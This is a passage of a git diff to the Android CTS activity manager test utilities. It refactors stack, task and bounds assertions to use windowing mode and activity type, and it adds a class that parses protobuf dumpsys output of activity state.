mWmState.getMatchingVisibleWindowState(windowName, matchingWindowStates);
boolean activityWindowVisible = !matchingWindowStates.isEmpty();
@@ -405,16 +466,26 @@
} else if (!mAmState.isActivityVisible(activityComponentName)) {
log("Activity not visible: " + activityComponentName);
allActivityWindowsVisible = false;
- } else if (stackIds != null) {
- // Check if window is already in stack requested by test.
- boolean windowInCorrectStack = false;
- for (WindowManagerState.WindowState ws : matchingWindowStates) {
- if (ws.getStackId() == stackIds[i]) {
- windowInCorrectStack = true;
- break;
+ } else {
+ // Check if window is already the correct state requested by test.
+ boolean windowInCorrectState = false;
+ for (WindowState ws : matchingWindowStates) {
+ if (stackId != INVALID_STACK_ID && ws.getStackId() != stackId) {
+ continue;
}
+ if (windowingMode != WINDOWING_MODE_UNDEFINED
+ && ws.getWindowingMode() != windowingMode) {
+ continue;
+ }
+ if (activityType != ACTIVITY_TYPE_UNDEFINED
+ && ws.getActivityType() != activityType) {
+ continue;
+ }
+ windowInCorrectState = true;
+ break;
}
- if (!windowInCorrectStack) {
+
+ if (!windowInCorrectState) {
log("Window in incorrect stack: " + waitForActivitiesVisible[i]);
tasksInCorrectStacks = false;
}
@@ -423,7 +494,9 @@
return !allActivityWindowsVisible || !tasksInCorrectStacks;
}
- /** @return true if should wait valid windows state. */
+ /**
+ * @return true if should wait valid windows state.
+ */
private boolean shouldWaitForWindows() {
if (mWmState.getFrontWindow() == null) {
log("***frontWindow=null");
@@ -442,8 +515,8 @@
}
private boolean shouldWaitForDebuggerWindow() {
- List<WindowManagerState.WindowState> matchingWindowStates = new ArrayList<>();
- mWmState.getMatchingVisibleWindowState("android.server.cts", matchingWindowStates);
+ List<WindowState> matchingWindowStates = new ArrayList<>();
+ mWmState.getMatchingVisibleWindowState("android.server.am", matchingWindowStates);
for (WindowState ws : matchingWindowStates) {
if (ws.isDebuggerWindow()) {
return false;
@@ -495,28 +568,56 @@
assertNotNull("Must have app.", mWmState.getFocusedApp());
}
- void assertContainsStack(String msg, int stackId) throws Exception {
- assertTrue(msg, mAmState.containsStack(stackId));
- assertTrue(msg, mWmState.containsStack(stackId));
+ void assertContainsStack(String msg, int windowingMode, int activityType) throws Exception {
+ assertTrue(msg, mAmState.containsStack(windowingMode, activityType));
+ assertTrue(msg, mWmState.containsStack(windowingMode, activityType));
}
+ @Deprecated
void assertDoesNotContainStack(String msg, int stackId) throws Exception {
assertFalse(msg, mAmState.containsStack(stackId));
assertFalse(msg, mWmState.containsStack(stackId));
}
+ void assertDoesNotContainStack(String msg, int windowingMode, int activityType)
+ throws Exception {
+ assertFalse(msg, mAmState.containsStack(windowingMode, activityType));
+ assertFalse(msg, mWmState.containsStack(windowingMode, activityType));
+ }
+
void assertFrontStack(String msg, int stackId) throws Exception {
assertEquals(msg, stackId, mAmState.getFrontStackId(DEFAULT_DISPLAY_ID));
assertEquals(msg, stackId, mWmState.getFrontStackId(DEFAULT_DISPLAY_ID));
}
+ void assertFrontStack(String msg, int windowingMode, int activityType)
+ throws Exception {
+ if (windowingMode != WINDOWING_MODE_UNDEFINED) {
+ assertEquals(msg, windowingMode,
+ mAmState.getFrontStackWindowingMode(DEFAULT_DISPLAY_ID));
+ }
+ if (activityType != ACTIVITY_TYPE_UNDEFINED) {
+ assertEquals(msg, activityType, mAmState.getFrontStackActivityType(DEFAULT_DISPLAY_ID));
+ }
+ }
+
+ void assertFrontStackActivityType(String msg, int activityType) throws Exception {
+ assertEquals(msg, activityType, mAmState.getFrontStackActivityType(DEFAULT_DISPLAY_ID));
+ assertEquals(msg, activityType, mWmState.getFrontStackActivityType(DEFAULT_DISPLAY_ID));
+ }
+
+ @Deprecated
void assertFocusedStack(String msg, int stackId) throws Exception {
assertEquals(msg, stackId, mAmState.getFocusedStackId());
}
- void assertNotFocusedStack(String msg, int stackId) throws Exception {
- if (stackId == mAmState.getFocusedStackId()) {
- failNotEquals(msg, stackId, mAmState.getFocusedStackId());
+ void assertFocusedStack(String msg, int windowingMode, int activityType)
+ throws Exception {
+ if (windowingMode != WINDOWING_MODE_UNDEFINED) {
+ assertEquals(msg, windowingMode, mAmState.getFocusedStackWindowingMode());
+ }
+ if (activityType != ACTIVITY_TYPE_UNDEFINED) {
+ assertEquals(msg, activityType, mAmState.getFocusedStackActivityType());
}
}
@@ -535,10 +636,10 @@
void assertNotFocusedActivity(String msg, String activityName) throws Exception {
final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
if (mAmState.getFocusedActivity().equals(componentName)) {
- failNotEquals(msg, mAmState.getFocusedActivity(), componentName);
+ assertNotEquals(msg, mAmState.getFocusedActivity(), componentName);
}
if (mWmState.getFocusedApp().equals(componentName)) {
- failNotEquals(msg, mWmState.getFocusedApp(), componentName);
+ assertNotEquals(msg, mWmState.getFocusedApp(), componentName);
}
}
@@ -550,7 +651,7 @@
void assertNotResumedActivity(String msg, String activityName) throws Exception {
final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
if (mAmState.getResumedActivity().equals(componentName)) {
- failNotEquals(msg, mAmState.getResumedActivity(), componentName);
+ assertNotEquals(msg, mAmState.getResumedActivity(), componentName);
}
}
@@ -560,7 +661,7 @@
void assertNotFocusedWindow(String msg, String windowName) {
if (mWmState.getFocusedWindow().equals(windowName)) {
- failNotEquals(msg, mWmState.getFocusedWindow(), windowName);
+ assertNotEquals(msg, mWmState.getFocusedWindow(), windowName);
}
}
@@ -568,7 +669,7 @@
assertEquals(msg, windowName, mWmState.getFrontWindow());
}
- void assertVisibility(String activityName, boolean visible) {
+ public void assertVisibility(String activityName, boolean visible) {
final String activityComponentName =
ActivityManagerTestBase.getActivityComponentName(activityName);
final String windowName =
@@ -600,16 +701,30 @@
/**
* Asserts that the device default display minimim width is larger than the minimum task width.
*/
- void assertDeviceDefaultDisplaySize(ITestDevice device, String errorMessage) throws Exception {
- computeState(device, null);
+ void assertDeviceDefaultDisplaySize(String errorMessage) throws Exception {
+ computeState();
final int minTaskSizePx = defaultMinimalTaskSize(DEFAULT_DISPLAY_ID);
final Display display = getWmState().getDisplay(DEFAULT_DISPLAY_ID);
- final Rectangle displayRect = display.getDisplayRect();
- if (Math.min(displayRect.width, displayRect.height) < minTaskSizePx) {
+ final Rect displayRect = display.getDisplayRect();
+ if (Math.min(displayRect.width(), displayRect.height()) < minTaskSizePx) {
fail(errorMessage);
}
}
+ public void assertKeyguardShowingAndOccluded() {
+ assertTrue(getAmState().getKeyguardControllerState().keyguardShowing);
+ assertTrue(getAmState().getKeyguardControllerState().keyguardOccluded);
+ }
+
+ public void assertKeyguardShowingAndNotOccluded() {
+ assertTrue(getAmState().getKeyguardControllerState().keyguardShowing);
+ assertFalse(getAmState().getKeyguardControllerState().keyguardOccluded);
+ }
+
+ public void assertKeyguardGone() {
+ assertFalse(getAmState().getKeyguardControllerState().keyguardShowing);
+ }
+
private String getWindowNameForActivityName(String activityName) {
return activityName.replaceAll("(.*)\\/\\.", "$1/$1.");
}
@@ -642,9 +757,9 @@
return true;
}
- int getStackPosition(int stackId) {
- int wmStackIndex = mWmState.getStackPosition(stackId);
- int amStackIndex = mAmState.getStackPosition(stackId);
+ int getStackIndexByActivityType(int activityType) {
+ int wmStackIndex = mWmState.getStackIndexByActivityType(activityType);
+ int amStackIndex = mAmState.getStackIndexByActivityType(activityType);
assertEquals("Window and activity manager must have the same stack position index",
amStackIndex, wmStackIndex);
return wmStackIndex;
@@ -659,8 +774,8 @@
return false;
}
- final Rectangle aStackBounds = aStack.getBounds();
- final Rectangle wStackBounds = wStack.getBounds();
+ final Rect aStackBounds = aStack.getBounds();
+ final Rect wStackBounds = wStack.getBounds();
if (aStack.isFullscreen()) {
if (aStackBounds != null) {
@@ -678,15 +793,18 @@
return true;
}
- /** Check task bounds when docked to top/left. */
+ /**
+ * Check task bounds when docked to top/left.
+ */
void assertDockedTaskBounds(int taskWidth, int taskHeight, String activityName) {
// Task size can be affected by default minimal size.
int defaultMinimalTaskSize = defaultMinimalTaskSize(
- mAmState.getStackById(ActivityManagerTestBase.DOCKED_STACK_ID).mDisplayId);
+ mAmState.getStandardStackByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY).mDisplayId);
int targetWidth = Math.max(taskWidth, defaultMinimalTaskSize);
int targetHeight = Math.max(taskHeight, defaultMinimalTaskSize);
- assertEquals(new Rectangle(0, 0, targetWidth, targetHeight),
+ assertEquals(new Rect(0, 0, targetWidth, targetHeight),
mAmState.getTaskByActivityName(activityName).getBounds());
}
@@ -694,7 +812,7 @@
// Cycle through the stacks and tasks to figure out if the home stack is resizable
final ActivityTask homeTask = mAmState.getHomeTask();
final boolean homeStackIsResizable = homeTask != null
- && homeTask.getResizeMode().equals(RESIZE_MODE_RESIZEABLE);
+ && homeTask.getResizeMode() == RESIZE_MODE_RESIZEABLE;
for (ActivityStack aStack : mAmState.getStacks()) {
final int stackId = aStack.mStackId;
@@ -704,8 +822,8 @@
assertEquals("Stack fullscreen state in AM and WM must be equal stackId=" + stackId,
aStack.isFullscreen(), wStack.isFullscreen());
- final Rectangle aStackBounds = aStack.getBounds();
- final Rectangle wStackBounds = wStack.getBounds();
+ final Rect aStackBounds = aStack.getBounds();
+ final Rect wStackBounds = wStack.getBounds();
if (aStack.isFullscreen()) {
assertNull("Stack bounds in AM must be null stackId=" + stackId, aStackBounds);
@@ -725,49 +843,49 @@
assertEquals("Task fullscreen state in AM and WM must be equal taskId=" + taskId
+ ", stackId=" + stackId, aTaskIsFullscreen, wTaskIsFullscreen);
- final Rectangle aTaskBounds = aTask.getBounds();
- final Rectangle wTaskBounds = wTask.getBounds();
- final Rectangle displayRect = mWmState.getDisplay(aStack.mDisplayId)
- .getDisplayRect();
+ final Rect aTaskBounds = aTask.getBounds();
+ final Rect wTaskBounds = wTask.getBounds();
if (aTaskIsFullscreen) {
assertNull("Task bounds in AM must be null for fullscreen taskId=" + taskId,
aTaskBounds);
} else if (!homeStackIsResizable && mWmState.isDockedStackMinimized()
- && displayRect.getWidth() > displayRect.getHeight()) {
+ && !isScreenPortrait(aStack.mDisplayId)) {
// When minimized using non-resizable launcher in landscape mode, it will move
// the task offscreen in the negative x direction unlike portrait that crops.
// The x value in the task bounds will not match the stack bounds since the
// only the task was moved.
assertEquals("Task bounds in AM and WM must match width taskId=" + taskId
- + ", stackId" + stackId, aTaskBounds.getWidth(),
- wTaskBounds.getWidth());
+ + ", stackId" + stackId, aTaskBounds.width(),
+ wTaskBounds.width());
assertEquals("Task bounds in AM and WM must match height taskId=" + taskId
- + ", stackId" + stackId, aTaskBounds.getHeight(),
- wTaskBounds.getHeight());
+ + ", stackId" + stackId, aTaskBounds.height(),
+ wTaskBounds.height());
assertEquals("Task bounds must match stack bounds y taskId=" + taskId
- + ", stackId" + stackId, aTaskBounds.getY(),
- wTaskBounds.getY());
+ + ", stackId" + stackId, aTaskBounds.top,
+ wTaskBounds.top);
assertEquals("Task and stack bounds must match width taskId=" + taskId
- + ", stackId" + stackId, aStackBounds.getWidth(),
- wTaskBounds.getWidth());
+ + ", stackId" + stackId, aStackBounds.width(),
+ wTaskBounds.width());
assertEquals("Task and stack bounds must match height taskId=" + taskId
- + ", stackId" + stackId, aStackBounds.getHeight(),
- wTaskBounds.getHeight());
+ + ", stackId" + stackId, aStackBounds.height(),
+ wTaskBounds.height());
assertEquals("Task and stack bounds must match y taskId=" + taskId
- + ", stackId" + stackId, aStackBounds.getY(),
- wTaskBounds.getY());
+ + ", stackId" + stackId, aStackBounds.top,
+ wTaskBounds.top);
} else {
assertEquals("Task bounds in AM and WM must be equal taskId=" + taskId
+ ", stackId=" + stackId, aTaskBounds, wTaskBounds);
- if (compareTaskAndStackBounds && stackId != FREEFORM_WORKSPACE_STACK_ID) {
+ if (compareTaskAndStackBounds
+ && aStack.getWindowingMode() != WINDOWING_MODE_FREEFORM) {
int aTaskMinWidth = aTask.getMinWidth();
int aTaskMinHeight = aTask.getMinHeight();
if (aTaskMinWidth == -1 || aTaskMinHeight == -1) {
// Minimal dimension(s) not set for task - it should be using defaults.
- int defaultMinimalSize = (stackId == PINNED_STACK_ID)
+ int defaultMinimalSize =
+ aStack.getWindowingMode() == WINDOWING_MODE_PINNED
? defaultMinimalPinnedTaskSize(aStack.mDisplayId)
: defaultMinimalTaskSize(aStack.mDisplayId);
@@ -779,50 +897,50 @@
}
}
- if (aStackBounds.getWidth() >= aTaskMinWidth
- && aStackBounds.getHeight() >= aTaskMinHeight
- || stackId == PINNED_STACK_ID) {
+ if (aStackBounds.width() >= aTaskMinWidth
+ && aStackBounds.height() >= aTaskMinHeight
+ || aStack.getWindowingMode() == WINDOWING_MODE_PINNED) {
// Bounds are not smaller then minimal possible, so stack and task
// bounds must be equal.
assertEquals("Task bounds must be equal to stack bounds taskId="
+ taskId + ", stackId=" + stackId, aStackBounds, wTaskBounds);
- } else if (stackId == DOCKED_STACK_ID && homeStackIsResizable
- && mWmState.isDockedStackMinimized()) {
+ } else if (aStack.getWindowingMode() == WINDOWING_MODE_SPLIT_SCREEN_PRIMARY
+ && homeStackIsResizable && mWmState.isDockedStackMinimized()) {
// Portrait if the display height is larger than the width
- if (displayRect.getHeight() > displayRect.getWidth()) {
+ if (isScreenPortrait(aStack.mDisplayId)) {
assertEquals("Task width must be equal to stack width taskId="
- + taskId + ", stackId=" + stackId,
- aStackBounds.getWidth(), wTaskBounds.getWidth());
+ + taskId + ", stackId=" + stackId,
+ aStackBounds.width(), wTaskBounds.width());
assertTrue("Task height must be greater than stack height "
- + "taskId=" + taskId + ", stackId=" + stackId,
- aStackBounds.getHeight() < wTaskBounds.getHeight());
+ + "taskId=" + taskId + ", stackId=" + stackId,
+ aStackBounds.height() < wTaskBounds.height());
assertEquals("Task and stack x position must be equal taskId="
- + taskId + ", stackId=" + stackId,
- wTaskBounds.getX(), wStackBounds.getX());
+ + taskId + ", stackId=" + stackId,
+ wTaskBounds.left, wStackBounds.left);
} else {
assertTrue("Task width must be greater than stack width taskId="
- + taskId + ", stackId=" + stackId,
- aStackBounds.getWidth() < wTaskBounds.getWidth());
+ + taskId + ", stackId=" + stackId,
+ aStackBounds.width() < wTaskBounds.width());
assertEquals("Task height must be equal to stack height taskId="
- + taskId + ", stackId=" + stackId,
- aStackBounds.getHeight(), wTaskBounds.getHeight());
+ + taskId + ", stackId=" + stackId,
+ aStackBounds.height(), wTaskBounds.height());
assertEquals("Task and stack y position must be equal taskId="
- + taskId + ", stackId=" + stackId, wTaskBounds.getY(),
- wStackBounds.getY());
+ + taskId + ", stackId=" + stackId, wTaskBounds.top,
+ wStackBounds.top);
}
} else {
// Minimal dimensions affect task size, so bounds of task and stack must
// be different - will compare dimensions instead.
int targetWidth = (int) Math.max(aTaskMinWidth,
- aStackBounds.getWidth());
+ aStackBounds.width());
assertEquals("Task width must be set according to minimal width"
+ " taskId=" + taskId + ", stackId=" + stackId,
- targetWidth, (int) wTaskBounds.getWidth());
+ targetWidth, (int) wTaskBounds.width());
int targetHeight = (int) Math.max(aTaskMinHeight,
- aStackBounds.getHeight());
+ aStackBounds.height());
assertEquals("Task height must be set according to minimal height"
+ " taskId=" + taskId + ", stackId=" + stackId,
- targetHeight, (int) wTaskBounds.getHeight());
+ targetHeight, (int) wTaskBounds.height());
}
}
}
@@ -830,7 +948,18 @@
}
}
- static int dpToPx(float dp, int densityDpi){
+ boolean isScreenPortrait() {
+ final int displayId = mAmState.getStandardStackByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY).mDisplayId;
+ return isScreenPortrait(displayId);
+ }
+
+ boolean isScreenPortrait(int displayId) {
+ final Rect displayRect = mWmState.getDisplay(displayId).getDisplayRect();
+ return displayRect.height() > displayRect.width();
+ }
+
+ static int dpToPx(float dp, int densityDpi) {
return (int) (dp * densityDpi / DISPLAY_DENSITY_DEFAULT + 0.5f);
}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
new file mode 100644
index 0000000..3167282
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
@@ -0,0 +1,644 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.ActivityManager.StackId.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.server.am.ProtoExtractors.extract;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+
+import android.graphics.Rect;
+import android.graphics.nano.RectProto;
+import android.os.ParcelFileDescriptor;
+import android.support.test.InstrumentationRegistry;
+
+import com.android.server.am.proto.nano.ActivityStackSupervisorProto;
+import com.android.server.am.proto.nano.ActivityRecordProto;
+import com.android.server.am.proto.nano.ActivityStackProto;
+import com.android.server.am.proto.nano.ActivityDisplayProto;
+import com.android.server.am.proto.nano.KeyguardControllerProto;
+import com.android.server.am.proto.nano.TaskRecordProto;
+import com.android.server.wm.proto.nano.ConfigurationContainerProto;
+
+import com.google.protobuf.nano.InvalidProtocolBufferNanoException;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class ActivityManagerState {
+
+ public static final int DUMP_MODE_ACTIVITIES = 0;
+
+ public static final String STATE_RESUMED = "RESUMED";
+ public static final String STATE_PAUSED = "PAUSED";
+ public static final String STATE_STOPPED = "STOPPED";
+ public static final String STATE_DESTROYED = "DESTROYED";
+
+ private static final String DUMPSYS_ACTIVITY_ACTIVITIES = "dumpsys activity --proto activities";
+
+ // Stacks in z-order with the top most at the front of the list, starting with primary display.
+ private final List<ActivityStack> mStacks = new ArrayList<>();
+ // Stacks on all attached displays, in z-order with the top most at the front of the list.
+ private final Map<Integer, List<ActivityStack>> mDisplayStacks = new HashMap<>();
+ private KeyguardControllerState mKeyguardControllerState;
+ private int mFocusedStackId = -1;
+ private String mResumedActivityRecord = null;
+ private final List<String> mResumedActivities = new ArrayList<>();
+
+ void computeState() {
+ computeState(DUMP_MODE_ACTIVITIES);
+ }
+
+ void computeState(int dumpMode) {
+ // It is possible the system is in the middle of transition to the right state when we get
+ // the dump. We try a few times to get the information we need before giving up.
+ int retriesLeft = 3;
+ boolean retry = false;
+ byte[] dump = null;
+
+ log("==============================");
+ log(" ActivityManagerState ");
+ log("==============================");
+
+ do {
+ if (retry) {
+ log("***Incomplete AM state. Retrying...");
+ // Wait half a second between retries for activity manager to finish transitioning.
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ // Well I guess we are not waiting...
+ }
+ }
+
+ String dumpsysCmd = "";
+ switch (dumpMode) {
+ case DUMP_MODE_ACTIVITIES:
+ dumpsysCmd = DUMPSYS_ACTIVITY_ACTIVITIES;
+ break;
+ }
+
+ dump = executeShellCommand(dumpsysCmd);
+ try {
+ parseSysDumpProto(dump);
+ } catch (InvalidProtocolBufferNanoException ex) {
+ throw new RuntimeException("Failed to parse dumpsys:\n"
+ + new String(dump, StandardCharsets.UTF_8), ex);
+ }
+
+ retry = mStacks.isEmpty() || mFocusedStackId == -1 || (mResumedActivityRecord == null
+ || mResumedActivities.isEmpty()) && !mKeyguardControllerState.keyguardShowing;
+ } while (retry && retriesLeft-- > 0);
+
+ if (mStacks.isEmpty()) {
+ logE("No stacks found...");
+ }
+ if (mFocusedStackId == -1) {
+ logE("No focused stack found...");
+ }
+ if (mResumedActivityRecord == null) {
+ logE("No focused activity found...");
+ }
+ if (mResumedActivities.isEmpty()) {
+ logE("No resumed activities found...");
+ }
+ }
+
+ private byte[] executeShellCommand(String cmd) {
+ try {
+ ParcelFileDescriptor pfd =
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .executeShellCommand(cmd);
+ byte[] buf = new byte[512];
+ int bytesRead;
+ FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+ ByteArrayOutputStream stdout = new ByteArrayOutputStream();
+ while ((bytesRead = fis.read(buf)) != -1) {
+ stdout.write(buf, 0, bytesRead);
+ }
+ fis.close();
+ return stdout.toByteArray();
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ private void parseSysDumpProto(byte[] sysDump) throws InvalidProtocolBufferNanoException {
+ reset();
+
+ ActivityStackSupervisorProto state = ActivityStackSupervisorProto.parseFrom(sysDump);
+ for (int i = 0; i < state.displays.length; i++) {
+ ActivityDisplayProto displayStack = state.displays[i];
+ List<ActivityStack> activityStacks = new ArrayList<>();
+ for (int j = 0; j < displayStack.stacks.length; j++) {
+ ActivityStack activityStack = new ActivityStack(displayStack.stacks[j]);
+ mStacks.add(activityStack);
+ activityStacks.add(activityStack);
+ if (activityStack.mResumedActivity != null) {
+ mResumedActivities.add(activityStack.mResumedActivity);
+ }
+ }
+ mDisplayStacks.put(displayStack.id, activityStacks);
+ }
+ mKeyguardControllerState = new KeyguardControllerState(state.keyguardController);
+ mFocusedStackId = state.focusedStackId;
+ if (state.resumedActivity != null) {
+ mResumedActivityRecord = state.resumedActivity.title;
+ }
+ }
+
+
+ private void reset() {
+ mStacks.clear();
+ mDisplayStacks.clear();
+ mFocusedStackId = -1;
+ mResumedActivityRecord = null;
+ mResumedActivities.clear();
+ mKeyguardControllerState = null;
+ }
+
+ int getFrontStackId(int displayId) {
+ return mDisplayStacks.get(displayId).get(0).mStackId;
+ }
+
+ int getFrontStackActivityType(int displayId) {
+ return mDisplayStacks.get(displayId).get(0).getActivityType();
+ }
+
+ int getFrontStackWindowingMode(int displayId) {
+ return mDisplayStacks.get(displayId).get(0).getWindowingMode();
+ }
+
+ int getFocusedStackId() {
+ return mFocusedStackId;
+ }
+
+ int getFocusedStackActivityType() {
+ final ActivityStack stack = getStackById(mFocusedStackId);
+ return stack != null ? stack.getActivityType() : ACTIVITY_TYPE_UNDEFINED;
+ }
+
+ int getFocusedStackWindowingMode() {
+ final ActivityStack stack = getStackById(mFocusedStackId);
+ return stack != null ? stack.getWindowingMode() : WINDOWING_MODE_UNDEFINED;
+ }
+
+ String getFocusedActivity() {
+ return mResumedActivityRecord;
+ }
+
+ String getResumedActivity() {
+ return mResumedActivities.get(0);
+ }
+
+ int getResumedActivitiesCount() {
+ return mResumedActivities.size();
+ }
+
+ public KeyguardControllerState getKeyguardControllerState() {
+ return mKeyguardControllerState;
+ }
+
+ boolean containsStack(int stackId) {
+ return getStackById(stackId) != null;
+ }
+
+ boolean containsStack(int windowingMode, int activityType) {
+ for (ActivityStack stack : mStacks) {
+ if (activityType != ACTIVITY_TYPE_UNDEFINED
+ && activityType != stack.getActivityType()) {
+ continue;
+ }
+ if (windowingMode != WINDOWING_MODE_UNDEFINED
+ && windowingMode != stack.getWindowingMode()) {
+ continue;
+ }
+ return true;
+ }
+ return false;
+ }
+
+ ActivityStack getStackById(int stackId) {
+ for (ActivityStack stack : mStacks) {
+ if (stackId == stack.mStackId) {
+ return stack;
+ }
+ }
+ return null;
+ }
+
+ ActivityStack getStackByActivityType(int activityType) {
+ for (ActivityStack stack : mStacks) {
+ if (activityType == stack.getActivityType()) {
+ return stack;
+ }
+ }
+ return null;
+ }
+
+ ActivityStack getStandardStackByWindowingMode(int windowingMode) {
+ for (ActivityStack stack : mStacks) {
+ if (stack.getActivityType() != ACTIVITY_TYPE_STANDARD) {
+ continue;
+ }
+ if (stack.getWindowingMode() == windowingMode) {
+ return stack;
+ }
+ }
+ return null;
+ }
+
+ int getStandardTaskCountByWindowingMode(int windowingMode) {
+ int count = 0;
+ for (ActivityStack stack : mStacks) {
+ if (stack.getActivityType() != ACTIVITY_TYPE_STANDARD) {
+ continue;
+ }
+ if (stack.getWindowingMode() == windowingMode) {
+ count += stack.mTasks.size();
+ }
+ }
+ return count;
+ }
+
+ int getStackIndexByActivityType(int activityType) {
+ for (int i = 0; i < mStacks.size(); i++) {
+ if (activityType == mStacks.get(i).getActivityType()) {
+ return i;
+ }
+ }
+ return -1;
+ }
+
+ int getStackIndexByActivityName(String activityName) {
+ final String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
+ for (int i = mStacks.size() - 1; i >=0 ; --i) {
+ final ActivityStack stack = mStacks.get(i);
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (activity.name.equals(fullName)) {
+ return i;
+ }
+ }
+ }
+ }
+ return -1;
+ }
+
+ List<ActivityStack> getStacks() {
+ return new ArrayList<>(mStacks);
+ }
+
+ int getStackCount() {
+ return mStacks.size();
+ }
+
+ boolean containsActivity(String activityName) {
+ for (ActivityStack stack : mStacks) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (activity.name.equals(activityName)) {
+ return true;
+ }
+ }
+ }
+ }
+ return false;
+ }
+
+ boolean containsActivityInWindowingMode(String activityName, int windowingMode) {
+ final String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
+ for (ActivityStack stack : mStacks) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (activity.name.equals(fullName)
+ && activity.getWindowingMode() == windowingMode) {
+ return true;
+ }
+ }
+ }
+ }
+ return false;
+ }
+
+ boolean isActivityVisible(String activityName) {
+ for (ActivityStack stack : mStacks) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (activity.name.equals(activityName)) {
+ return activity.visible;
+ }
+ }
+ }
+ }
+ return false;
+ }
+
+ boolean containsStartedActivities() {
+ for (ActivityStack stack : mStacks) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (!activity.state.equals(STATE_STOPPED)
+ && !activity.state.equals(STATE_DESTROYED)) {
+ return true;
+ }
+ }
+ }
+ }
+ return false;
+ }
+
+ boolean hasActivityState(String activityName, String activityState) {
+ String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
+ for (ActivityStack stack : mStacks) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (activity.name.equals(fullName)) {
+ return activity.state.equals(activityState);
+ }
+ }
+ }
+ }
+ return false;
+ }
+
+ int getActivityProcId(String activityName) {
+ for (ActivityStack stack : mStacks) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (activity.name.equals(activityName)) {
+ return activity.procId;
+ }
+ }
+ }
+ }
+ return -1;
+ }
+
+ boolean isHomeActivityVisible() {
+ final Activity homeActivity = getHomeActivity();
+ return homeActivity != null && homeActivity.visible;
+ }
+
+ boolean isRecentsActivityVisible() {
+ final Activity recentsActivity = getRecentsActivity();
+ return recentsActivity != null && recentsActivity.visible;
+ }
+
+ String getHomeActivityName() {
+ Activity activity = getHomeActivity();
+ if (activity == null) {
+ return null;
+ }
+ return activity.name;
+ }
+
+ ActivityTask getHomeTask() {
+ final ActivityStack homeStack = getStackByActivityType(ACTIVITY_TYPE_HOME);
+ if (homeStack != null && !homeStack.mTasks.isEmpty()) {
+ return homeStack.mTasks.get(0);
+ }
+ return null;
+ }
+
+ private ActivityTask getRecentsTask() {
+ final ActivityStack recentsStack = getStackByActivityType(ACTIVITY_TYPE_RECENTS);
+ if (recentsStack != null && !recentsStack.mTasks.isEmpty()) {
+ return recentsStack.mTasks.get(0);
+ }
+ return null;
+ }
+
+ private Activity getHomeActivity() {
+ final ActivityTask homeTask = getHomeTask();
+ return homeTask != null ? homeTask.mActivities.get(homeTask.mActivities.size() - 1) : null;
+ }
+
+ private Activity getRecentsActivity() {
+ final ActivityTask recentsTask = getRecentsTask();
+ return recentsTask != null ? recentsTask.mActivities.get(recentsTask.mActivities.size() - 1)
+ : null;
+ }
+
+ int getStackIdByActivityName(String activityName) {
+ final ActivityTask task = getTaskByActivityName(activityName);
+
+ if (task == null) {
+ return INVALID_STACK_ID;
+ }
+
+ return task.mStackId;
+ }
+
+ ActivityTask getTaskByActivityName(String activityName) {
+ return getTaskByActivityName(activityName, WINDOWING_MODE_UNDEFINED);
+ }
+
+ ActivityTask getTaskByActivityName(String activityName, int windowingMode) {
+ String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
+ for (ActivityStack stack : mStacks) {
+ if (windowingMode == WINDOWING_MODE_UNDEFINED
+ || windowingMode == stack.getWindowingMode()) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (activity.name.equals(fullName)) {
+ return task;
+ }
+ }
+ }
+ }
+ }
+ return null;
+ }
+
+ static class ActivityStack extends ActivityContainer {
+
+ int mDisplayId;
+ int mStackId;
+ String mResumedActivity;
+ ArrayList<ActivityTask> mTasks = new ArrayList<>();
+
+ ActivityStack(ActivityStackProto proto) {
+ super(proto.configurationContainer);
+ mStackId = proto.id;
+ mDisplayId = proto.displayId;
+ mBounds = extract(proto.bounds);
+ mFullscreen = proto.fullscreen;
+ for (int i = 0; i < proto.tasks.length; i++) {
